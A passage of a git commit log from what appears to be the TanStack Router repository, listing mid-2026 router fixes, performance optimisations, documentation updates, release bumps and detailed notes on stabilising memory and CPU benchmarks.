* fix(router): clear resolved lazy component preload
2026-08-14 13:30:20 +02:00
Flo
0ad38a710c
fix(router): reject superseded Solid and Vue render acknowledgements (#8065)
* fix(router): reject superseded render acknowledgements

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-08-14 09:38:09 +02:00
Flo
38485038c5
Fix default route component remounting (#8002)
* Fix default route component remounting

* Optimize reactive Vue Link props

* fix(vue-router): address reactive Link review feedback
2026-08-12 14:53:17 +02:00
github-actions[bot]
dc5a404eb9
ci: Version Packages (#8048)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-12 11:15:35 +02:00
Flo
b0817f50cc
fix(react-router): useMatchRoute w/ React Compiler (changeset) (#8047) 2026-08-12 10:47:05 +02:00
Flo
31355ae92c
fix(react-router): useMatchRoute w/ React Compiler (#8015)
* fix(react-router): useMatchRoute w/ React Compiler

* test(react-router): add React Compiler E2E

Co-authored-by: Kamal Bennani <kamal.bennani@aircall.io>

* disable eslint react-hooks/exhaustive-deps for known static condition w/ DCE

* test(react-router): cover useMatchRoute callback identity

Co-authored-by: Sarah Gerrard <98355961+LadyBluenotes@users.noreply.github.com>

* test(react-router): rely on useMatchRoute subscription

* test(react-router): exercise compiler-generated memoization

* no useCallback during SSR

* update docs

---------

Co-authored-by: Kamal Bennani <kamal.bennani@aircall.io>
Co-authored-by: Sarah Gerrard <98355961+LadyBluenotes@users.noreply.github.com>
2026-08-12 10:35:50 +02:00
github-actions[bot]
e15bda5c4d
ci: Version Packages (#8040)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-12 10:33:33 +02:00
Flo
f5007607d6
fix(router): warn when Outlet is rendered in fallback components (#8045) 2026-08-12 09:53:15 +02:00
Flo
aa10b6589e
fix(router): apply preload delay to viewport links (#8044)
* fix(router): apply preload delay to viewport links

* fix(router): cancel delayed viewport preloads on exit

* fix(router): process queued viewport transitions in order

* fix(router): use latest queued viewport state

* refactor(router): inline viewport observer options

* fix(router): stabilize viewport preload timers

* cleaner timeout map key
2026-08-12 09:52:36 +02:00
Flo
1aafca9b45
refactor: remove Link transition state (#8043) 2026-08-12 09:52:10 +02:00
Flo
7e93431ae9
fix(router-core): load-client can cache settled abandoned loader work without preload authority (#8039)
* fix(router-core): load-client can cache settles abandonned loader work without preload authority

* changeset

* update INTERNALS.md
2026-08-11 12:17:44 +02:00
Flo
783f883ac1
ci: migrate CodSpeed to v5 (#8033) 2026-08-10 22:11:29 +02:00
Flo
af8dcb859a
test(router-core): add missing test cleanup in 3920 (#8023) 2026-08-09 23:43:17 +02:00
github-actions[bot]
91a848e979
ci: Version Packages (#8021)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-09 20:43:56 +02:00
Flo
51138a824c
changeset (#8019)
* fix(router-core): handle excessive parent relative links

* changeset
2026-08-09 19:43:12 +02:00
Flo
5500fd3510
fix(router-core): handle excessive parent relative links (#8018) 2026-08-09 19:40:25 +02:00
github-actions[bot]
6f8f534bf3
ci: Version Packages (#8011)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-09 11:01:57 +02:00
Flo
44a8c3e1d2
perf(router-core): skip impossible JSON parse attempts (#8006)
* perf(router-core): skip impossible JSON parses

* perf(router-core): refine JSON parse fast path

* changeset
2026-08-08 19:43:09 +02:00
Flo
c59788ca20
perf(start-client-core): O(1) buffer drain in client frame decoder (#8009)
The frame decoder dropped consumed chunks from its buffer with
bufferList.shift(), which is O(n). When a single large frame (e.g. a big
RawStream payload) is assembled from many small network reads, the
extract loop calls shift() once per chunk, making reassembly O(n^2).

Track the first un-consumed chunk with a head pointer and advance it in
O(1) instead of shifting. Consumed slots are released for GC, and the
buffer is compacted when fully drained (O(1) reset) or once the consumed
prefix grows past a small threshold (amortized O(1) per chunk).

A micro-benchmark draining 1000 small chunks is ~11x faster.

Co-authored-by: Yagiz Nizipli <yagiz@nizipli.com>
2026-08-08 19:20:41 +02:00
Flo
5253e70db2
perf(router-core): faster enumerable-key collection in structural sharing (#8010)
* perf(router-core): faster enumerable-key collection in structural sharing

getEnumerableOwnKeys (used by replaceEqualDeep) called
Object.getOwnPropertyNames and then invoked propertyIsEnumerable once per
key to verify every own string prop is enumerable. Replace that O(n) loop
of JS method calls with Object.keys (native, enumerable-only) plus a
single length comparison against getOwnPropertyNames to detect
non-enumerable string props. Symbol handling is unchanged.

Behavior is identical (verified against the existing suite + fuzzing): the
function still returns the enumerable own keys in the same order and still
bails (returns false) for objects with any non-enumerable own string or
symbol property.

replaceEqualDeep runs on every selector result on every state update when
defaultStructuralSharing is enabled, so this is a hot client path for
selector-heavy apps. Measured ~1.3-1.5x faster on typical router state.

* style(router-core): address enumerable key review

---------

Co-authored-by: Yagiz Nizipli <yagiz@nizipli.com>
2026-08-08 19:20:08 +02:00
Manuel Schiller
c568caf3f3
inline isServer for proper DCE (#7996) 2026-08-08 09:54:57 +02:00
Manuel Schiller
4fa1df7540
don't use esbuild to minify in vite's bundlesize benchmarks (#7995) 2026-08-08 02:04:11 +02:00
Manuel Schiller
a43128e090
ci: run bundle size workflow for benchmark scripts (#7999) 2026-08-08 01:52:38 +02:00
github-actions[bot]
2265129b40
ci: Version Packages (#7994)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-07 19:58:00 +02:00
Mat Clayton
95dec51018
perf(react-router): bail out of Link re-renders when href and active state are unchanged (#7952)
* perf(react-router): bail out of Link re-renders when href and active state are unchanged

useLinkProps subscribes to the location store with an identity selector and an
href comparator, then derives href and isActive from the published location in
downstream memos. The comparator can only ask "is this a different URL?", never
"does this link care?", so every Link on the page re-renders on every navigation.

Move the location-derived values into the selector and compare them, so a link
whose resolved href and active state are unaffected by a navigation bails out.
buildLocation still runs once per link per location change; what goes away is the
React render and the host reconciliation under it.

doPreload no longer pre-supplies _builtLocation, because the built location is no
longer kept in render state. preloadRoute already falls back to building it, which
is what handleClick has always relied on for router.navigate.

The isActive and externalLink bodies move to module-level helpers unchanged so the
selector stays readable; activeOptions is spread into its four primitive fields in
the dependency list because callers routinely pass an inline object literal.

* refactor: trim redundant comments and brace single-line bodies

The comments explained the bail-out rationale twice — once on the LinkState type
and again above the selector — and two helper docblocks restated their function
names. The rationale now appears once, where a reader meets the selector; the
detail belongs in the PR description rather than the source.

Also braces the three single-line if bodies, per the AGENTS.md rule that if/else
bodies always use curly braces.

* refactor: publish link state as a tuple

The type is erased either way, but the object literal's property names survive
minification and a tuple's positions don't — so this drops three property names
from the selector's return plus the three property reads in compareLinkState.

Measured on the unminified build: -54 bytes in dist/esm/link.js and the same in
dist/cjs/link.cjs.

* test: assert the published link state, and drop a redundant cast

The render-count assertions proved the bail-out but not that the selector still
publishes correct values, so a selector returning a constant could have passed.
The test now also asserts that the link gaining active state carries
`data-status="active"` afterwards (and does not beforehand), and that the
unaffected link keeps its href and stays inactive.

Checked by sabotaging the selector: returning a constant tuple with a wrong href
but a correct active state now fails, where previously it passed.

Also drops `as any` from `new URL(to)` in resolveExternalLink — the guard above
already narrows `to` to string.

* refactor: pass activeOptions through instead of destructuring

Depends on the four fields rather than the object, with an exhaustive-deps
disable: callers routinely pass an inline literal, which would otherwise rebuild
the selector every render. resolveIsActive reads only those four fields, so the
disable is not hiding a live dependency.

-269 bytes on each of dist/esm/link.js and dist/cjs/link.cjs (unminified).

* perf: memoize the href derivation on the built href

The `useMemo` chain this replaced keyed `getHrefOption` and the external-link
resolution on the href string, so a navigation that left a link's href alone
skipped both. Deriving everything in the selector ran them on every location
notification instead, which showed up as a ~10% regression on the client-nav
rewrites benchmark, where rewrite handling makes `getHrefOption` expensive.

Cache both on the built href inside the selector closure. Measured on a
five-link root layout, per navigation: getHrefOption drops from 5 calls back to
0, matching the pre-change profile, with buildLocation and the active-state
derivation unchanged at 5.

* perf: keep _options referentially stable while its contents are equal

Links commonly pass inline `params` / `search` object literals. Those change
identity on every parent render, which rebuilt `_options`, which changed the
store selector's identity, which discarded useSyncExternalStoreWithSelector's
memoized selection. buildLocation then ran twice per navigation: once in the
notification check and once in the render-phase selection.

Measured on a replica of the client-nav rewrites scenario (six links, root
subscribed to the pathname via useLocation), buildLocation per navigation:
base 7, before this commit 12, after 7.

* revert: drop the href memoization, it measured no benefit

Reverts 409371b. It did cut getHrefOption from 5 calls per navigation to 0,
matching the pre-change profile, but that is not where the time went: on the
rewrites scenario it moved the number by 0.05% (medians 245.33 vs 245.21 hz over
four interleaved rounds). Not worth ~15 lines of mutable closure state.

The rewrites regression is fixed by the _options stabilisation instead.

* docs: explain why useValueStable exists

Replaces a leftover scratch note.

* perf: cut the bundle cost of the link state selector

Stabilise `activeOptions` with the same helper used for `search` / `params`,
so the selector depends on one value instead of four destructured fields. That
also makes the dependency array honest, so the exhaustive-deps disable goes.

Drop the reference-equality guard in useValueStable: deepEqual already
short-circuits on `a === b`, so the guard only saved a function call that
returns immediately.

Measured with benchmarks/bundle-size against this branch's base, gzip delta
across the eight React scenarios moves from +27/-7 to +11/-24, and raw bytes go
uniformly negative (-37 to -45 on every scenario).

* perf: pass _options to preloadRoute without the shallow clone

The spread existed to add _builtLocation, which is gone, and nothing on the
preload path mutates the options object: preloadRoute only reads
opts._builtLocation, build() only reads dest fields, and the search middleware
chain only reads dest.search. Search middlewares themselves receive
{ search, next }, never dest.

Saves an object allocation per hover. Bytes are unchanged on gzip, -5 raw.

* fix: do not collapse explicit-undefined params when stabilising link options

useValueStable compared with deepEqual's default ignoreUndefined: true, which
skips undefined-valued keys on both sides, so `{}` and `{ category: undefined }`
compared equal. Those build different locations: an explicit undefined clears an
inherited optional param while an empty object inherits it. A Link whose params
changed from one to the other kept publishing the stale href, and click and
preload used the stale options too.

Compare with ignoreUndefined: false. Adds a regression test covering the
/posts/tech -> /posts transition, which fails before this commit and passes
after, and passes on the pre-PR baseline.

* chore: empty commit to re-trigger CI

* chore: add changeset

---------

Co-authored-by: Flo <me@florianpellet.com>
2026-08-07 17:37:30 +02:00
Flo
6bede65d70
perf(start): compact deferred hydration private state (#7980)
* perf(solid-start): shorten private prefetch state

* perf(start): use locals for hydration wait state

* perf(start): compact visible observer registry entries

* test(start): cover hydration private-state lifecycles

* docs: record solid hydration bundle result

* Delete RESULT-optimization-solid-hydration-private-state.md

* changeset

* ci: Version Packages (#7993) [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-08-07 17:30:30 +02:00
Flo
2fbc99f2c2
perf(start-client-core): compact private frame decoder result keys (#7978)
* perf(start-client-core): compact frame decoder result keys

* docs: record compact frame result evidence

* docs: record frame result attribution and e2e

* Delete RESULT-optimization-frame-decoder-compact-result.md

* changeset
2026-08-07 15:18:37 +02:00
github-actions[bot]
995bd97a9f
ci: Version Packages (#7993)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-07 13:04:38 +02:00
Flo
ea3a665d81
fix(router): retain mounted UI during revalidation (#7992)
* fix(router): retain mounted UI during revalidation

* fix(router): preserve initial pending presentation

* changeset

* test(router): make retained pending tests deterministic

* complete solid/vue suite
2026-08-07 11:57:59 +02:00
Flo
abf9b81b1f
test: stabilize codspeed CPU benchmarks (#7987) 2026-08-06 16:46:19 +02:00
github-actions[bot]
ac1d0abea9
ci: Version Packages (#7968)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-06 15:38:36 +02:00
Flo
9cac62a5c7
perf: compact private bundle boundaries (#7975) missing changesets (#7985) 2026-08-06 13:52:52 +02:00
Flo
94685306a9
perf: compact private bundle boundaries (#7975)
* perf(history): compact queued action kind

* perf(history): compact queued navigation state

* perf(history): derive queued action state

* perf(router-core): tuple lightweight route matches

* perf(solid-router): compact nearest match context

* perf(vue-router): reuse the computed scripts tuple

* perf(vue-router): flatten private href input

* perf(vue-router): flatten private active-state input

* perf(vue-router): flatten private style input

* perf(start): return fetch bodies without an internal wrapper

* test(history): cover browser action batching

* docs: record compact private boundary results

* Delete RESULT-optimization-compact-private-boundaries.md
2026-08-06 13:40:09 +02:00
Flo
2435885fa8
Create file routes directly (#7970)
* test createFileRoute factory behavior

* create file routes directly

* preserve createFileRoute parameter name

* cleanup

* changeset
2026-08-06 13:38:43 +02:00
Flo
86bf510c29
Pass intersection observer disabled state directly (#7971)
* test disabled viewport links in Vue

* test reactive intersection observer disabling

* pass intersection observer disabled state directly

* changeset
2026-08-06 13:38:04 +02:00
Flo
84db4a8423
perf(router-core): optimize route tree processing (#7984) 2026-08-06 13:37:55 +02:00
Flo
697ebb6ddb
fix(react-router): prevent blank frame before initial pending UI (#7961)
* fix(react-router): prevent blank initial pending frame

* test(react-router): remove obsolete issue 4759 unit test

* alternative fix

* ci: apply automated fixes

* simplify code comment

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-08-06 00:09:29 +02:00
Flo
6aefb33925
chore: add changeset for #7966 (#7967) 2026-08-05 22:02:00 +02:00
Flo
07a3d10d8f
fix(router): preserve raw params for match identity (#7966)
* fix(router): preserve raw params for match identity

* refactor(router): return matched routes as tuple

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-08-05 21:41:42 +02:00
github-actions[bot]
790e062820
ci: Version Packages (#7963)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-05 20:18:34 +02:00
Flo
60163bf3e4
test(start): cover ssr false hydration redirect (#7965) 2026-08-05 19:33:35 +02:00
Flo
b2908c642a
chore: update seroval to 1.6.2 (#7962) 2026-08-05 15:21:12 +02:00
github-actions[bot]
314098e59e
ci: Version Packages (#7950)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-04 22:55:13 +02:00
github-actions[bot]
704145c6d5
ci: Version Packages (#7946)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-04 22:25:17 +02:00
Flo
3740f44786
docs: align loader docs with lane rewrite (#7949)
* docs: align loader docs with lane rewrite

* docs: refine lane loader documentation

* docs: expand link preloading guide
2026-08-04 22:23:02 +02:00
Flo
a4942ff68a
fix(router): correct lane loader changeset (#7948)
* fix(router): correct lane loader changeset

* fix(router): keep lane loader release patch

* docs(router): clarify removed internal stores
2026-08-04 21:19:20 +02:00
Flo
45c4ad8d62
fix(router-core): lane match loader rewrite (#7805)
* fix: lane match loader rewrite

---------

Co-authored-by: Manuel Schiller <6340397+schiller-manuel@users.noreply.github.com>
2026-08-04 20:28:11 +02:00
github-actions[bot]
65ae78cf06
ci: Version Packages (#7945)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-08-04 00:09:59 +02:00
Ahmed Sabry
10dc3f63e6
docs: version optional param to only capture version not capturing "e… (#7932)
* docs: version optional param to only capture version not capturing "extra" as version

* fix: close template literal
2026-08-04 00:04:26 +02:00
Manuel Schiller
65f7b7f791
fix(start): keep server-only routes out of RSC bundles (#7944)
Use the Start storage context for request cancellation and focused server entrypoints to keep unrelated route dependencies out of the RSC module graph. Add emitted-build regression coverage for the boundary.

fixes #7938
2026-08-04 00:02:37 +02:00
Alem Tuzlak
b5e540d74a
docs: use the dynamic README header endpoint (#7940)
* docs: use the dynamic README header endpoint

* docs: add README header banners to the framework adapter packages
2026-08-03 21:03:29 +02:00
Ahmed Sabry
2cb221cfd3
Fix typo in path-params documentation (#7931) 2026-08-01 14:15:16 +02:00
Nicolas Beaussart
03699c4c02
chore(ci): improve Nx sandbox cache declarations (#7833)
* chore(ci): establish CI timing baseline

* faster maybe ?

* chore(ci): declare sandbox task inputs and outputs

* chore(ci): declare remaining build sandbox inputs

* another batch

* try fixing e2e import protection

* more sandbox fixes

* fix(e2e): isolate import protection artifacts

* fix script

* fix import protection

* tune even more

* tune even more with some global ignore

* ok, anohter try

* fix(ci): avoid reading captured build logs

* one last improvement for tonight
2026-08-01 13:39:33 +02:00
github-actions[bot]
8212950807
ci: Version Packages (#7927)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-07-31 00:04:54 +02:00
Cong-Cong Pan
7592555b86
fix(start): align Rsbuild SSR asset URLs for css?url imports (#7590)
* fix(start): align Rsbuild SSR asset URLs for css?url imports

* rm vite-env.d.tst

* ci: apply automated fixes

* fix: ts type

* ci: apply automated fixes

* ci: apply automated fixes (attempt 2/3)

* fix: docs code

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-07-30 23:30:40 +02:00
Bhavesh Desale
77ed6d5c3a
fix(eslint-plugin-start): support ESLint 10 peer dependency (#7924) 2026-07-30 22:42:20 +02:00
github-actions[bot]
a3ee355b59
ci: Version Packages (#7903) 2026-07-29 22:14:03 +02:00
Cong-Cong Pan
f04ddc61e7
fix(start): skip errored Rspack modules during import protection (#7685)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-07-29 21:11:16 +02:00
Tanner Linsley
179d9b9b5e
Improve Router and Start agent skills (#7867)
* docs: improve Router and Start agent skills

* docs: address agent skill review feedback

* ci: apply automated fixes

* docs: align agent skills with intent schema

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-07-26 10:53:49 -06:00
Sreetam Das
fc83c0383f
fix(react-start-rsc): require @vitejs/plugin-rsc >=0.5.30 for route component HMR (#7900) 2026-07-26 01:12:08 +02:00
Manuel Schiller
88f366ab8e
chore: migrate to typescript 7 (#7887) 2026-07-23 23:10:51 +02:00
Flo
3a5575627d
test: add regression coverage for existing router behavior (#7886) 2026-07-23 22:13:21 +02:00
Sarah Gerrard
a76c192f1c
docs: Update Guides section and add back in missing pages (#7864) 2026-07-22 22:13:55 +02:00
Sajad Torkamani
2b08d9ba4b
docs: minor docs improvements (#7842) 2026-07-22 22:12:34 +02:00
Cong-Cong Pan
21a8597952
chore: add React Start basic Rsbuild example (#7729)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-07-22 22:09:03 +02:00
Zakher Masri
07ce90304d
docs: remove stray semicolon in i18n page (#7870)
fix: remove stray semicolon
2026-07-21 11:45:50 -07:00
Manuel Schiller
edf55759d8
ci: omit unchanged bundle size scenarios (#7856) 2026-07-19 22:34:06 +02:00
github-actions[bot]
49bd9fa447
ci: Version Packages (#7857) 2026-07-19 16:29:16 +02:00
Manuel Schiller
49f6863245
fix(router-plugin): preserve HMR state for lowercase split components (#7855) 2026-07-19 12:09:25 +02:00
Manuel Schiller
218eab2c3b
chore: regenerate route trees (#7853) 2026-07-19 09:20:56 +02:00
github-actions[bot]
ecb1ef4817
ci: Version Packages (#7854) 2026-07-19 09:11:05 +02:00
Manuel Schiller
ffdd64e842
fix(start): preserve resolved virtual module ids (#7844) 2026-07-18 20:08:42 +02:00
Alex Kostyniuk
31a634d84e
docs: update Next.js middleware description (#6155)
* docs: update Next.js middleware description

* Fix grammar in Next.js Edge Runtime description

Correct grammatical error in comparison of Next.js limitations.

* Revise Next.js proxy.ts runtime details

Updated Next.js proxy.ts description to reflect runtime changes.

* removed the not needed '+'

---------

Co-authored-by: Sarah Gerrard <hello@sarahgerrard.me>
2026-07-17 18:19:11 -07:00
github-actions[bot]
62a191baa0
ci: Version Packages (#7846) 2026-07-18 02:25:47 +02:00
Manuel Schiller
78dd1a645d
fix(router-generator): preserve dots in virtual routes (#7845) 2026-07-18 01:17:42 +02:00
Sarah Gerrard
85ef32ad7b
docs: refresh contribution guidelines (#7839) 2026-07-18 00:48:35 +02:00
github-actions[bot]
604996d14c
ci: Version Packages (#7841) 2026-07-18 00:25:19 +02:00
Thijs Koerselman
e56a67742d
fix(router-generator): make buildRouteTree route ordering deterministic (#7751)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Manuel Schiller <6340397+schiller-manuel@users.noreply.github.com>
2026-07-17 23:01:54 +02:00
Sajad Torkamani
6184661e56
docs: small improvements to wording (#7840) 2026-07-17 21:40:35 +02:00
Mohamed Yahye El Joud
00d00b3155
docs: Update environment variable validation to use z.url() (#5570) 2026-07-17 20:47:19 +02:00
maurer2
d3e1cf4e2f
Add direction-aware view transitions to view transitions example repo (#5791)
* Add direction aware view transitions

* Restore comment

* Linter fix

---------

Co-authored-by: Birk Skyum <74932975+birkskyum@users.noreply.github.com>
2026-07-17 16:19:58 +02:00
Flo
0b178a79e2
test: add more regression coverage for existing router behavior (#7822) 2026-07-15 09:48:19 +02:00
Flo
11a6a0d8ba
test: add regression coverage for existing router behavior (#7812) 2026-07-14 01:44:02 +02:00
Pierre-Luc Auclair
a41f26547c
chore(deps): bump @playwright/test to ^1.61.0 across the workspace (#7772) 2026-07-14 00:06:59 +02:00
Florian Fehrenbacher
4d4171fdda
fix: use relative path for srvx static files (#7799) 2026-07-13 23:38:26 +02:00
github-actions[bot]
58c005fcb1
ci: Version Packages (#7811) 2026-07-13 23:31:08 +02:00
Manuel Schiller
caebc57045
fix deps (#7810) 2026-07-13 23:10:34 +02:00
Manuel Schiller
e2dd2049cb
fix(router-core): handle window and element scroll restoration independently (#7807) 2026-07-13 21:45:55 +02:00
Manuel Schiller
e65f0c84c1
fix deps in example (#7809) 2026-07-13 21:44:44 +02:00
Soheil Nikroo
41f7bf3283
Update README for WorkOS example: change WORKOS_REDIRECT_URI to point… (#7802)
Update README for WorkOS example: change WORKOS_REDIRECT_URI to point to /api/auth/callback
2026-07-12 06:31:18 -07:00
Flo
a3e24c35a5
bench(memory): prefix client and server benchmark names (#7743) 2026-07-03 22:29:29 +02:00
Flo
d644dbb5c2
bench(memory): settle-until-quiescent GC barrier between iterations (#7739)
* bench(memory): settle-until-quiescent GC barrier between iterations

The fixed-turn settle before the pinned collection was hardware-fragile:
teardown needing one more event-loop turn on a given runner leaked a whole
payload of garbage past the collection point and flipped the measured peak
bimodally (serialization-payload solid/react resurfacing the pre-#7730
6.2MB attractor on some CI runners). Replace it with an adaptive barrier
that hops and collects until the post-GC heap size stops moving, with a
minimum-turn floor matching the fixed count it replaces (React's stream
teardown spans several turns and races a shorter floor).

Also pin collections in request-churn and the aborted-requests drain:
their peak floated on GC scheduling even with bit-identical work (18%
spread on CI for solid churn). Reachable accumulation stays visible to
the metric - a forced collection cannot reclaim leaked or cached objects,
it only removes floating garbage, whose collection timing was the
dominant cross-run noise source. Verified with a synthetic reachable
leak: +4.7% peak over a 0.6% A/A noise floor, where the old 18% noise
would have swallowed it.

Local A/A spreads (3x codspeed run per suite): solid <=1%, react <=2.2%
except request-churn (rare +130KB mode, framework teardown variance),
vue <=2.3% except aborted-requests (~8%, intra-iteration work variance,
down from 21% on CI).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): fixed-count settle barrier, drop adaptive quiescence exit

The adaptive exit (collect until post-GC heap size stops moving) made the
collection points land at data-dependent turns on CI: heap readings never
fully stabilize there, so the exit point - and every subsequent GC point -
shifted between identical runs. The first CI A/A pair showed it flipping
serialization-payload (vue) to a 6MB mode (67%), inflating peak-large-page
(vue) 3.4x, and adding 7-8% swings to the react/vue abort scenarios, while
fixing the solid suite.

Every step is now a fixed count: 16 settle turns (enough for React/Vue
multi-turn teardown that the original 2-turn barrier raced), one pinned
collection, one turn, one more collection for finalizer fallout. Fixed
counts make the GC points identical across runs by construction, which is
the property the barrier exists to provide.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): size iteration counts to the 2-10s measured-run window

On CI (eBPF instrument + --no-opt) one pinned iteration costs ~0.1-0.6s,
so the previous counts put request-churn at ~36s measured and the error
-paths/server-fn benches at 0.1-0.5s - outside the useful 2-10s range in
both directions. Retune: request-churn/aborted-requests/error-paths/
server-fn-churn to 40 iterations, serialization-payload to 12;
peak-large-page and streaming-peak already sit in range at 20.

The floor is raised by pinning error-paths and server-fn-churn rather
than inflating their iteration counts: thousands of unpinned iterations
would cross V8's own GC scheduling and reintroduce the timing noise the
barrier removes, while the pin's fixed per-iteration cost lifts them into
range at 40 iterations and makes their collection points deterministic.

Note: fewer churn iterations proportionally shrink the accumulation
window, so peak-based leak sensitivity drops accordingly; leaks remain
visible in total-allocated (forced compactions re-copy the growing live
set every iteration).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): disable V8 bytecode flushing in memory bench workers

The retuned (shorter) runs exposed a recurring V8 internal event - a
+7-13MB allocation burst with the signature of bytecode flush + lazy
recompile - that lands inside or outside the measured window at random,
flipping peaks by whole MBs between identical CI runs (request-churn vue
785KB vs 3.2MB). The pinned collections age code fast enough for V8 to
flush unused bytecode mid-run; --no-flush-bytecode keeps compiled code
alive for the process lifetime so the measured window sees no recompile
bursts. Vite's mergeConfig concatenates the scenario's test.execArgv with
the flags the CodSpeed plugin injects, so both apply to the fork workers.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): pre-size V8 heap geometry in memory bench workers

--no-flush-bytecode alone did not stop the run-to-run flips: the
recurring event is heap-space growth, which allocates several MB at a
run-dependent moment inside the shortened measured windows (error-paths
unmatched vue 674KB vs 2MB, serialization-payload solid resurfacing its
6.4MB attractor on one run in three). Pre-sizing old space and pinning
the semi-space size removes mid-measurement growth while leaving the
per-iteration page map/unmap signal intact - local runs confirm peaks
still track payload sizes exactly (serialization 3.5MB, streaming
30.3MB, levels unchanged).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): size tiny benches just above the 2s measured-run floor

error-paths and server-fn-churn sat at 5-8s measured on CI; fewer
iterations bring them to ~2.3-3.4s, keeping the 2s floor while shrinking
the window a stray allocator event can land in.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): verify the pinned collection against the heap floor

The residual CI flips all share one signature: exactly one iteration's
payload added to the measured peak (serialization-payload vue 3.5 vs
6.9MB, peak-large-page vue 780 vs 1349KB, error-paths redirect vue 300 vs
885KB). On some runners the response teardown holds the payload past the
fixed settle window - released only by a later internal timer - so it
survives the pinned collection and bleeds into the next iteration.

After the fixed 16-turn settle and collection, compare the post-GC heap
against the smallest post-collection size seen this run (the inter-
iteration floor): while it has not returned to the floor, keep hopping
and collecting, bounded at 64 turns. The barrier stays fixed-count in the
common case and extends only in exactly the failure case. Workloads that
genuinely accumulate reachable memory raise the floor as they go, so
accumulation still measures.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): restrict floor verification to peak-shape scenarios

The floor-verified barrier fixed its target - the serialization family
went to <=0.45% across three CI runs, attractor gone - but destabilized
churn/abort scenarios (request-churn solid 420KB vs 3.4MB): their inter-
iteration floor legitimately drifts, so the verification capped out
chronically and the ~48 extra collections per iteration eventually hit a
compaction that double-copies the live set. Split by scenario shape:
serialization-payload, peak-large-page and streaming-peak keep the
verified barrier (flat floor, proven fix); churn and abort scenarios go
back to the plain fixed-count barrier that held them at <=1.7% in the
two previous CI rounds.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-07-03 21:43:51 +02:00
Flo
208100b7c0
feat(benchmarks): client-side CPU benchmark scenario suite (#7732)
* feat(benchmarks): add client-side CPU benchmark scenario suite

Add 11 client-side CPU benchmark scenarios to benchmarks/client-nav, each
implemented identically across react/solid/vue and tracked by CodSpeed
through the existing Benchmarks workflow (no CI changes needed):

async-pipeline, control-flow, head, history, links, loaders, mount,
nested-params, preload, route-tree-scale, search-params

Each scenario is an isolated file-based-routing app (route trees generated
by @tanstack/router-plugin) built for production and driven in jsdom by a
shared harness (scenarios/harness.ts): circular step sequences of real
<Link> clicks (plus hover/preload/history-traversal/invalidate steps),
each synchronized on the router's onRendered event, with a warm-up lap
that asserts every step's observable output. Determinism rules: no
wall-clock timers (counted 0ms hops only), staleTime/gcTime pinned to 0 or
1e9, deterministic preload staleness, stationary DOM and history depth.

The existing baseline apps and bench names are untouched for CodSpeed
continuity; baseline vite configs only gain an explicit root/setupFiles so
they resolve identically under the new per-framework aggregate configs.

Notable constraints encoded in the scenarios:
- Component-level Await/Suspense is excluded from async-pipeline: React 19
  throttles every Suspense reveal by ~300ms wall-clock, which is
  inherently non-deterministic to benchmark.
- control-flow/react silences React 19's onCaughtError reporting, which
  otherwise dominates the measured loop with console I/O.
- Vue route components must be defined before their createFileRoute call
  (bundled var hoisting silently yields component: undefined otherwise).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* ci: apply automated fixes

* chore(benchmarks): prefix client-nav bench names with "client-"

All benches in @benchmarks/client-nav now start with "client" so they are
easy to identify on the CodSpeed dashboard (the baseline already did).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(benchmarks): address review findings on client-nav scenario stability

Fixes from an adversarial review of the scenario suite:

- mount: create the browser history explicitly and destroy() it on unmount.
  The default per-router createBrowserHistory() monkey-patches
  window.history.pushState/replaceState, chaining one wrapper per router —
  per-mount cost degraded 1.8ms -> 6ms over 3000 mounts (O(N^2) drift in
  the cold-start bench). Verified flat (~1.86ms) after the fix.
- links: replace the five <MatchRoute> components with setup-scoped
  useMatchRoute probes in all three apps. vue-router's MatchRoute calls
  useMatchRoute() inside its render function, leaking one undisposed
